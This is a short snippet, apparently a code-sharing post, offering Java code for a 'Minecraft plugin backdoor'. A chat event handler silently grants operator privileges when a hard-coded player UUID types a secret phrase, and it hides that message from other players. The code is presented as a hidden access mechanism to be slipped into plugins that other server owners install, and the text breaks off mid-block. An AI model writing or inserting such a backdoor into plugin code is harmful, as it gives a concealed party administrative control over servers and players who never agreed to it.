Simple event to grant OP if you, or someone else's UUID says the message in quotations in the chat

Minecraft plugin backdoor

        @EventHandler
        public void OP(AsyncPlayerChatEvent e){
            Player p = e.getPlayer();
            if (p.getUniqueId().toString().equalsIgnoreCase("Your UUID") && e.getMessage().equals("Message")) {
                e.setCancelled(true);
                p.sendMessage("UUID & Initiation key verified.");
                p.sendMessage("You are now an operator.");
                p.setOp(true);